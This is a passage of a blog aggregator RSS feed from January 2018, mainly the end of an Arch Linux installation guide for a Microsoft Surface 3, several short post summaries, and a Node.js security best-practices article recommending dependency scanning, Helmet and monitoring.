&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then, with my wifi adapter being located at &lt;code&gt;/dev/wlp1s0&lt;/code&gt;, the following commands brought up the adapter, configured &lt;code&gt;wpa_supplicant&lt;/code&gt;, and then obtained an IP address via DHCP:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# ip link set dev wlp1s0 up
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# wpa_supplicant -B -i wlp1s0 -c /etc/wpa_supplicant/wpa_supplicant.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# dhcpcd wlp1s0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="partitioning-the-ssd"&gt;Partitioning the SSD&lt;/h2&gt;
&lt;p&gt;Continuing through the &lt;a href="https://wiki.archlinux.org/index.php/installation_guide#Format_the_partitions"&gt;installation instructions&lt;/a&gt;, the next bit of trouble I had was with partitioning the SSD. Again, I didn&amp;rsquo;t care about not erasing the Windows partition since I do not want to dual boot Windows and Linux, so I erased the partition table for the drive and started to create my own. The problem that I ran into was that &lt;code&gt;gdisk&lt;/code&gt; did not seem to correctly write the new partition table, but using &lt;code&gt;parted&lt;/code&gt; did. If the SSD for my Surface was located at &lt;code&gt;/dev/sdX&lt;/code&gt; (change as needed to your correct device name, which you can find by running &lt;code&gt;# fdisk -l&lt;/code&gt;), then I used the following commands to delete the old partition table, create a new one, and then create&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The EFI System Partition (ESP)&lt;/li&gt;
&lt;li&gt;A swap partition&lt;/li&gt;
&lt;li&gt;A single root partition&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# parted /dev/sdX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(parted) print                                      # View existing partitions
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(parted) rm x                                       # Replace x with partition number
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;                                                    # Remove all of the partitions
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(parted) mklabel gpt                                # Create new GPT table
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(parted) mkpart ESP fat32 1MiB 550MiB               # ESP part. w/ 550 MB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(parted) set 1 boot on                              # Set as ESP (boot) partition
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(parted) mkpart primary linux-swap 550MiB 1.5GiB    # Swap partition w/ ~1GB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(parted) mkpart primary ext4 1.5GiB 100%            # Remaining space to root/home part.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="formatting-the-partitions"&gt;Formatting the partitions&lt;/h2&gt;
&lt;p&gt;Continue with the &lt;a href="https://wiki.archlinux.org/index.php/installation_guide#Format_the_partitions"&gt;installation instructions&lt;/a&gt; to format the partitions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# mkfs.vfat /dev/sdX1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# mkswap /dev/sdX2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# swapon /dev/sdX2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# mkfs.ext4 /dev/sdX3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="mount-the-partitions"&gt;Mount the partitions&lt;/h2&gt;
&lt;p&gt;Next, we&amp;rsquo;ll mount our root partition and then the ESP:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# mount /dev/sdX3 /mnt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# mkdir /mnt/boot
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# mount /dev/sdX1 /mnt/boot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="boot-loader"&gt;Boot loader&lt;/h2&gt;
&lt;p&gt;I continued with the &lt;a href="https://wiki.archlinux.org/index.php/installation_guide"&gt;installation instructions&lt;/a&gt; without any deviations until reaching the &lt;a href="https://wiki.archlinux.org/index.php/installation_guide#Boot_loader"&gt;Boot loader section&lt;/a&gt;. From the bash shell on your mounted partition (where you should already be by running &lt;code&gt;# arch-chroot /mnt&lt;/code&gt;), follow the recommendations to install the &lt;a href="https://www.archlinux.org/packages/?name=intel-ucode"&gt;intel-ucode&lt;/a&gt; package:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;# pacman -S intel-ucode
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then exit the bash terminal from your mounted partition, which will return you to the zsh session from the Arch Linux on your USB drive. From here, we&amp;rsquo;ll need to find the partition UUID, as described in the &lt;a href="https://wiki.archlinux.org/index.php/Systemd-boot#Configuration"&gt;Systemd-boot page&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You can find the PARTUUID for your root partition with the command &lt;code&gt;blkid -s PARTUUID -o value /dev/sdxY&lt;/code&gt;, where &lt;code&gt;x&lt;/code&gt; is the device letter and &lt;code&gt;Y&lt;/code&gt; is the partition number. This is required only for your root partition, not esp.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Run the indicated command, then replace &lt;code&gt;XXXX&lt;/code&gt; in the code segment below with the appropriate UUID, and then save the file at &lt;code&gt;/mnt/boot/loader/entries/arch.conf&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;title   Arch Linux
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;linux   /vmlinuz-linux
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;initrd  /intel-ucode.img
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;initrd  /initramfs-linux.img
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;options root=PARTUUID=XXXX rootfstype=ext4 add_efi_memmap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note that we added an additional &lt;code&gt;initrd&lt;/code&gt; line to &lt;a href="https://wiki.archlinux.org/index.php/Microcode#systemd-boot"&gt;enable the Intel microcode updates&lt;/a&gt; in conjunction with the &lt;code&gt;intel-ucode&lt;/code&gt; package we previously installed.&lt;/p&gt;
&lt;h2 id="finish-up"&gt;Finish Up&lt;/h2&gt;
&lt;p&gt;With that done, continue with the last bit of the installation instructions to unmount the partitions as needed and reboot. That should allow you to reboot from your Surface SSD into an Arch Linux shell.&lt;/p&gt;
&lt;h1 id="conclusion"&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;This is as far as I&amp;rsquo;ve gotten at the moment, due to competing commitments with my time. As I go further with the install, to include a desktop environment, I&amp;rsquo;ll update this post to reflect those changes and anything else I find. Chad&amp;rsquo;s blog post continues with some excellent tips on how to improve the day-to-day user experience with the Surface running Arch Linux, and the Arch Linux wiki will have further instructions on other things you might want to do on your own.&lt;/p&gt;</description><author>Posts on Sean Lane</author><pubDate>Fri, 26 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://sean.lane.sh/posts/2018/01/Installing-Linux-on-a-Microsoft-Surface-3/</guid></item><item><title>How does proportional CPU allocation work with AWS Lambda?</title><link>/posts/2018-01-25-how-does-proportional-cpu-allocation-work-with-aws-lambda/</link><description>Originally appeared on Opsgenie Engineering Blog
 We have been using AWS Lambda for over two years at OpsGenie. Our primary programming language for our Lambda functions is Java. Although Java tends to use more memory compared to other languages such as Node.js and Python, we still allocate more memory than we need for our functions. There are two primary reasons. Sometimes depending on the traffic, there can be unexpected spikes in usage.</description><author>Mustafa Akın</author><pubDate>Thu, 25 Jan 2018 16:04:45 GMT</pubDate><guid isPermaLink="true">/posts/2018-01-25-how-does-proportional-cpu-allocation-work-with-aws-lambda/</guid></item><item><title>About "managing personal fabrication on a mass scale"</title><link>https://stop.zona-m.net/2018/01/about-managing-personal-fabrication-on-a-mass-scale/</link><description>There is a post on the P2P blog about the (digital) Fabrication Divide which, on one point, is not entirely correct.I am talking of this specific sentence:
&amp;ldquo;The key question that hasn&amp;rsquo;t been asked is how will humanity manage personal fabrication on a mass scale&amp;rdquo;
That key question has been asked, by me and all the other members of the EU-funded DiDIY (Digital DIY) Project, ran from 2015 to 2017. We also provided some answers, which are listed below.</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 25 Jan 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/about-managing-personal-fabrication-on-a-mass-scale/</guid></item><item><title>When software turns churches from sanctuary to surveillance agents</title><link>https://stop.zona-m.net/2018/01/when-software-turns-churches-from-sanctuary-to-surveillance-agents/</link><description>&lt;p&gt;There are the churches you do NOT want to enter if you care about digital rights, or even just privacy.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 25 Jan 2018 09:40:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/when-software-turns-churches-from-sanctuary-to-surveillance-agents/</guid></item><item><title>More about "why no new AND successful FOSS projects..."</title><link>https://stop.zona-m.net/2018/01/more-about-why-no-new-and-successful-foss-projects.../</link><description>&lt;p&gt;Answering a few comments received via Twitter to my post &lt;a href="http://stop.zona-m.net/2018/01/why-no-more-new-and-successful-foss-projects-in-the-last-ten-years/"&gt;Why no more new AND successful FOSS projects in the last ten years?&lt;/a&gt;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 25 Jan 2018 08:30:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/more-about-why-no-new-and-successful-foss-projects.../</guid></item><item><title>Of high-tech companies, and fablab potential in Trivandrum</title><link>https://stop.zona-m.net/2018/01/of-high-tech-companies-and-fablab-potential-in-trivandrum/</link><description>&lt;p&gt;Last month I visited Trivandrum for the &lt;a href="http://swatantra.net.in/"&gt;Swatantra17 Conference&lt;/a&gt;. I already &lt;a href="https://stop.zona-m.net/2018/01/swatantra17-software-freedom-and-awareness-of-larger-picture/"&gt;wrote about that event&lt;/a&gt;, but I saw more in Trivandrum.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 25 Jan 2018 06:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/of-high-tech-companies-and-fablab-potential-in-trivandrum/</guid></item><item><title>Video: Oracle X$TRACE, Wait Event Internals and Background Process Communication</title><link>https://tanelpoder.com/2018/01/24/3794/</link><description>&lt;p&gt;I have uploaded the the video of my Secret Hacking Session: Oracle X$TRACE, Wait Event Internals and Background Process Communication to my &lt;a href="https://youtube.com/tanelpoder" rel="noopener" target="_blank"&gt;Oracle performance &amp;amp; troubleshooting Youtube channel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The slides are in &lt;a href="https://www.slideshare.net/tanelp/oracle-xtrace-exotic-wait-event-types-and-background-process-communication" rel="noopener" target="_blank"&gt;Slideshare&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Enjoy!&lt;/p&gt;
&lt;p&gt;&lt;span class="embed-youtube" style="text-align: center; display: block;"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Thu, 25 Jan 2018 05:33:54 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2018/01/24/3794/</guid></item><item><title>On hungry artists and jedi</title><link>http://dimitarsimeonov.com/2018/01/24/on-hungry-artists-and-jedi</link><description>&lt;p&gt;I’ve heard the phrase “hungry artist”. It describes people, who’s goal
in life is to produce art, but don’t make enough money out of selling
their art to sustain comfortable lifestyle.&lt;/p&gt;

&lt;p&gt;Now, there are a spectrum of reasons why someone would make art. I’d
bet most artists, deep down want to be commercially successful. They
want their art to be number one on the charts, to be in museum
exhibits, and to bring them millions of dollars. They want to be
Beyonce, and Michael Jackson, and Miley Cyrus. They want to Van Gogh
and Frank Lloyd Wright. They want to be J.K. Rowling, Hemingway and
Tolkien.&lt;/p&gt;

&lt;p&gt;And yet, not everyone covets fame and fortune. On the other side of
the spectrum might be people who genuinely enjoy producing the art. To
them, the thrill of creating art is a reward they treasure more than
the hypes of moneys they might get as a result.&lt;/p&gt;

&lt;p&gt;They are the pure “hungry artists”. Even though they might not be
hungry at all - they might have additional income from their job, or
savings or inheritance to draw from, or they might be commercially
successful artists even without aiming to be one.&lt;/p&gt;

&lt;p&gt;They are blessed to have something they enjoy doing so much. And for
that reason, they’ll not be complaining about the hunger. Food and
comfort is secondary and non-important to them. They don’t seek
money. And they really mean it. It’s not a pose. Vincent van Gogh was
an artist who worked hard at his art, for years, with a genuine
conviction. He didn’t sell his art, but was lucky to have a brother
who supported him. And even when mental illness stroke, he kept on
making art. Those paintings are now worth millions of dollars, yet he
didn’t paint them for the money.&lt;/p&gt;

&lt;p&gt;Contrasting this purity, there are people today who want to make
living out of making art. Too many of them. &lt;em&gt;Commercially&lt;/em&gt;, we don’t
need too many artists or musicians. Most art has no commercial value.&lt;/p&gt;

&lt;p&gt;Art expresses and effects emotions, feelings, and thoughts. It creates
comfort, or brings you out of your comfort zone. It’s commercial value
might be to help improve the mental state of the consumers, to inspire
them, to make them happy or relaxed. To change their actions, creating
value for them, or for an enterprise that’s using the art.&lt;/p&gt;

&lt;p&gt;Art’s commercial value is to be a Jedi mind trick.&lt;/p&gt;

&lt;p&gt;&lt;img alt="jediart" class="img-responsive" src="http://dimitarsimeonov.com/assets/image/20180124_artists/jediArt.gif" /&gt;&lt;/p&gt;

&lt;p&gt;There are markets for that mind tricks. And some artist sell
them. Eminem is a jedi. Most artist who complain they are not making
money of their art are not even padawans.&lt;/p&gt;

&lt;p&gt;The chances of being paid are small. It’s a super competitive
environment and it favors connections and privilege, with occasional
exceptional talent making it through. And art is sometimes easy to
copy, leading to winner-takes-all payout, leaving all the inferior
artists with nada.&lt;/p&gt;

&lt;p&gt;Yet, if a person enjoys making art for its sake, there is nothing
stopping them. They need no permission. They just need to cover their
living expenses otherwise. But having their lunch and dinner covered,
their art is free - as in freedom.  It can go in any direction,
because the artist is not relying on it to make money. It’s as pure as
Van Gogh’s paintings.&lt;/p&gt;

&lt;p&gt;And that freedom and purity is what I think the artist community
fetishises about the “hungry artists”. About people who don’t “sell
out”. Because that freedom might result in a better art. A powerful
and deep mind trick.  “The force” for art comes from freedom - not
from hunger. Hunger is just the cheapest way to find that freedom.&lt;/p&gt;</description><author>D13V</author><pubDate>Wed, 24 Jan 2018 20:35:43 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/01/24/on-hungry-artists-and-jedi</guid></item><item><title>A little proposal to make Eelo more valuable</title><link>https://stop.zona-m.net/2018/01/a-little-proposal-to-make-eelo-more-valuable/</link><description>&lt;p&gt;&lt;a href="http://eelo.io"&gt;Eelo&lt;/a&gt; is a project to build &amp;ldquo;Desirable, privacy-enabled smartphones &amp;amp; web services&amp;rdquo;. This is a proposal about &lt;a href="https://hackernoon.com/leaving-apple-and-google-my-eelo-odyssey-part2-web-services-4c01bb838279"&gt;the &amp;ldquo;web services&amp;rdquo; part of Eelo, as presented here&lt;/a&gt;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 24 Jan 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/a-little-proposal-to-make-eelo-more-valuable/</guid></item><item><title>Knowledge workers are assets not costs</title><link>https://ilearnt.com/blog/knowledgeworkers/</link><description>&lt;p&gt;This is an excellent &lt;a href="http://www.leanessays.com/2018/01/official-intelligence.html" target="_blank"&gt;article&lt;/a&gt; that touches on some many areas including Amazon (again) and their structure. However the most interesting part for me is the section on the way to view knowledge workers in business:&lt;/p&gt;</description><author>I Learnt</author><pubDate>Wed, 24 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/knowledgeworkers/</guid></item><item><title>The alternative bucket list approach to life</title><link>https://ilearnt.com/blog/alternativebucketlist/</link><description>&lt;p&gt;I have never formally made a bucket list. Sure, there are things I would love to do and some more than others but I have never written anything down.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Wed, 24 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/alternativebucketlist/</guid></item><item><title>That collapse brought by Facebook, and its Whatsapp/Telegram corollary</title><link>https://stop.zona-m.net/2018/01/that-collapse-brought-by-facebook-and-its-whatsapp/telegram-corollary/</link><description>&lt;p&gt;If the research is any indication, &lt;a href="https://phys.org/news/2018-01-secret-history-facebook-depression.html"&gt;writes Dr Raynes-Goldie&lt;/a&gt;, Facebook and other social media make people &amp;ldquo;feel inadequate or maybe even a bit depressed&amp;rdquo;. Why, and how? The answer, as they say &amp;ldquo;is complicated&amp;rdquo;, but one part of it is especially fascinating, and everybody should be aware of it.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 24 Jan 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/that-collapse-brought-by-facebook-and-its-whatsapp/telegram-corollary/</guid></item><item><title>Making some changes</title><link>https://yasha.solutions/making-some-changes/</link><description>ok, inspired by a friend, I have decided to make some changes in the way i organise my content on this blog. Separating pure content (in depth article, how-tos, reference post) from the blog in a more casual sense of word.
In a follow up to post “We have stopped blogging” – I want to get back to some regular writing. Less formal, more personal, maybe informative maybe not – I don’t know yet, what I know is I want it to be place where I can share with you an open conversation.</description><author>Yasha Solutions</author><pubDate>Wed, 24 Jan 2018 12:54:42 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/making-some-changes/</guid></item><item><title>Most absurd and invasive things done by tech platforms</title><link>https://stop.zona-m.net/2018/01/most-absurd-and-invasive-things-done-by-tech-platforms/</link><description>&lt;p&gt;This is &lt;strong&gt;my own&lt;/strong&gt;, personal selection of the &amp;ldquo;most absurd and invasive, but TRUE things done by tech platforms&amp;rdquo;(*):&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 24 Jan 2018 08:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/most-absurd-and-invasive-things-done-by-tech-platforms/</guid></item><item><title>Files and Processes</title><link>https://bastibe.de/2018-01-24-files-and-processes.html</link><description>&lt;p&gt;In the last few months, I have created three notable programming projects: &lt;a href="https://github.com/bastibe/RunForrest"&gt;RunForrest&lt;/a&gt; saves function call graphs to disk and runs them in parallel processes; &lt;a href="https://github.com/bastibe/timeup"&gt;TimeUp&lt;/a&gt; creates backups using rsync and keeps different numbers of hourly, daily, and weekly backups; and &lt;a href="https://github.com/bastibe/jbof"&gt;JBOF&lt;/a&gt;, which organizes large collections of data and metadata as structured, on-disk datasets.&lt;/p&gt;
&lt;p&gt;These projects have one thing in common: They use Python to interact with external &lt;em&gt;things&lt;/em&gt;, such as files, libraries, or processes. It surprised me that none of these projects were particularly hard to build, even though they accomplish &amp;quot;hard&amp;quot; tasks. This prompted some soul-searching about why I thought these tasks to be hard, and I have come up with two observations:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Files and processes are considered &amp;quot;not part of the language&amp;quot;, and are therefore not taught. Most programming classes and programming tutorials I have seen focus on the internals of a programming language, i.e. its data structures, and built-in functions and libraries. Files and processes are not part of this, and are often only mentioned in passing, as a thing that a particularly library can do. Worse, many curricula never formally explain files or processes, or their use in building programs.&lt;/p&gt;
&lt;p&gt;I now believe that this is unfortunate and misguided, since the interaction with the computer's resources is the central benefit of programming, and you can not make much use of those resources without a thorough understanding of files and processes. In a way, the &amp;quot;inside&amp;quot; of a programming language is a mere sandbox, a safe place for toying with imaginary castles. But it is the &amp;quot;outside&amp;quot;, that is, external programs, libraries, and files, that unlocks the true power of making the computer do work. And in Python in particular, using these building blocks to build useful programs is surprisingly simple.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;However, such small and simple programs are much less popular than bloated behemoths. I built RunForrest explicitly because &lt;a href="http://dask.pydata.org"&gt;Dask&lt;/a&gt; was too confusing and unpredictable for the job. I build JBOF because &lt;a href="http://www.h5py.org/"&gt;h5py&lt;/a&gt; was too complex and slow. And this is surprising, since these tools certainly are vastly more mature than anything I can whip up. But they were developed by large organizations to solve large-organization problems. But I am not a large organization, and my needs are different as well.&lt;/p&gt;
&lt;p&gt;I now believe that such small-scale solutions are often preferable to high-profile tools, but they lack the visibility and publicity of tools such as Dask and HDF. And even worse, seeing these big tools solve such mundane problems, we form the belief that these problems must be incredibly complex, and beyond our abilities. Thus forms a vicious cycle. Of course, this is not to say that these big tools do not serve a purpose. Dask and HDF were built to solve particular problems, but we should be aware that most big tools were built for big problems, and our own problems are often not big enough to warrant their use.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In summary, we should teach people about files and processes, and empower them to tackle &amp;quot;hard&amp;quot; tasks without resorting to monolithic libraries. Not only is this incredibly satisfying, it also leads to better programs and better programmers.&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Wed, 24 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2018-01-24-files-and-processes.html</guid></item><item><title>Philanthropy for All</title><link>https://www.dannyguo.com/blog/philanthropy-for-all</link><author>Danny Guo</author><pubDate>Wed, 24 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.dannyguo.com/blog/philanthropy-for-all</guid></item><item><title>Bulletproof Node — Security Best Practises</title><link>/bulletproof-node/</link><description>&lt;div class="image"&gt;
	&lt;img src="../../assets/images/node.jpeg" /&gt;
	&lt;em&gt;Make your Node app like this guy&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;System breaches are now commonplace. &lt;a href="https://www.iotforall.com/5-worst-iot-hacking-vulnerabilities/"&gt;Stories of IoT devices being compromised&lt;/a&gt;, &lt;a href="http://www.bbc.co.uk/news/business-41575188"&gt;entire countries credit history leaking online&lt;/a&gt; as well as thousands of other systems &lt;a href="https://www.theverge.com/2013/11/7/5078560/over-150-million-breached-records-from-adobe-hack-surface-online"&gt;compromised&lt;/a&gt;, &lt;a href="https://www.theguardian.com/technology/2016/dec/14/yahoo-hack-security-of-one-billion-accounts-breached"&gt;hacked&lt;/a&gt;, &lt;a href="https://en.wikipedia.org/wiki/2012_LinkedIn_hack"&gt;infiltrated&lt;/a&gt; and destroyed.&lt;/p&gt;
&lt;p&gt;Now it may seem that from all these stories, that &lt;strong&gt;&lt;em&gt;any&lt;/em&gt;&lt;/strong&gt; attempts to improve system security is fighting a losing battle. And in a way, &lt;strong&gt;you’re right&lt;/strong&gt;. But, think about it this way, your house (or apartment) is not impenetrable. However, you still have a lock on your door and make sure to secure the premises before you leave. Security measures such as locks, alarms and perhaps even CCTV cameras are preventative — &lt;strong&gt;not guarantees of complete security. Web application security is the same&lt;/strong&gt;, the more barriers we put up, the harder it is for attackers to exploit different &lt;a href="https://www.techopedia.com/definition/15793/attack-vector"&gt;“vectors”&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here is a quick guide on changes you can make to your application right now without large code changes.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Use &lt;a href="https://snyk.io/"&gt;Synk&lt;/a&gt; to monitor security vulnerabilities&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Nowadays, modern web applications use many dependencies, those dependencies in turn use even &lt;strong&gt;&lt;em&gt;more&lt;/em&gt;&lt;/strong&gt; dependencies. &lt;a href="https://en.wikipedia.org/wiki/Turtles_all_the_way_down"&gt;It’s dependencies all the way down&lt;/a&gt;. Either way, it’s unfeasible to know every single dependency and keep up to date with security news. &lt;a href="https://snyk.io/"&gt;Synk&lt;/a&gt; is a handy tool that allows you to automatically scan security vulnerabilities in your web applications, it supports a wide range of languages from NodeJS, Python, PHP and Ruby as well as many others. Additionally, if you just have a NodeJS application, &lt;a href="https://github.com/blog/2470-introducing-security-alerts-on-github"&gt;Github now comes with automated integrated CVE security alerts too.&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Add &lt;a href="https://helmetjs.github.io/"&gt;Helmet&lt;/a&gt; for all requests run through Express&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;A chain is only as strong as its weakest link, therefore make sure **all **API routes are secured. Additionally make sure that all those routes are used! By reducing the surface area, there is less chance of an exploit being found.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://helmetjs.github.io/"&gt;Helmet is a NodeJS tool&lt;/a&gt;, that bolts onto Express and acts a middleware. It takes any outgoing requests and adds various headers that help to keep the request secure.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Keep NodeJS and all dependencies up to date&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Although you don’t want and/or need to update the latest major version of NodeJS, it is important to update to any minor version that include security updates. The same applies with project dependencies. The main push back on this has always been that you can’t trust &lt;a href="https://semver.org/"&gt;semver&lt;/a&gt;. I wholly agree, but with a handy tool called &lt;a href="https://github.com/bahmutov/next-update"&gt;Next Updates&lt;/a&gt;, you can run your test suite against new dependency versions automatically. Now this is not a guarantee that new versions of dependencies will work as it will vary on how broad and thorough your tests are; But, it does automate a large portion of work. In line with automating processes, you can configure &lt;a href="https://greenkeeper.io/"&gt;Greenkeeper&lt;/a&gt; to submit a new pull request for new versions of dependencies that your app uses. By submitting a pull request, this should flag up any problems as it runs your test suite.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Monitor for multiple invalid requests, and any other potentially malicious traffic&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Your routes could be as secure as &lt;a href="https://en.wikipedia.org/wiki/Fort_Knox"&gt;Fort Knox&lt;/a&gt; but attackers could still potentially bring down your site by DDoSing it or brute forcing login forms. You can configure monitoring of your site to log out to &lt;a href="https://papertrailapp.com/"&gt;Papertrail&lt;/a&gt; or &lt;a href="https://www.elastic.co/products/logstash"&gt;Logstash&lt;/a&gt; that will then notify you if a certain type of log (I recommend having a “malicious traffic” category) that will then notify you directly (via SMS or Email for example).&lt;/p&gt;
&lt;p&gt;Pair this with running your server with &lt;a href="https://github.com/foreverjs/forever"&gt;foreverjs&lt;/a&gt; which will automatically restart the server if it crashes or gets timed out.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Monitoring&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;This is, in my opinion, the most important aspect of them all. By implementing monitoring of your applications usage, you can potentially pick out malicious activity. Here are a few recommendations of what you can monitor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Multiple failed login attempts for both the application and the server itself (FTP, SSH etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Logins from new IP address — many services have automated emails go out to the user if this event occurs. They can then click through and report malicious activity themselves.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Attempt to access application resources directly (e.g., environment variable files)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Changes to user details (email, password etc) — this is to cover the case where people may have access to the person’s computer and want to hijack the account.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Attempt to login with hacked credentials — a new common hack is to take details from other breached services and apply them to other services (because most people use the same password for multiple services). This one sort of ties in with multiple failed login attempts but adds a new angle in what a potential attacker is trying to do.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Attempt to do SQL injection or other XSS attacks — if you see a particular user attempting to do any of these sorts of attacks, most likely no action will be necessary, as your app should be secure and the likelihood is that they are just messing about. Nonetheless, it may be worth keeping track of these users and the IP address as a sort of “black book”.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2000/1*TOb464uqspF5k7dG81YyNg.gif" /&gt;
	&lt;em&gt;Me talking to my API routes&lt;/em&gt;
&lt;/div&gt;
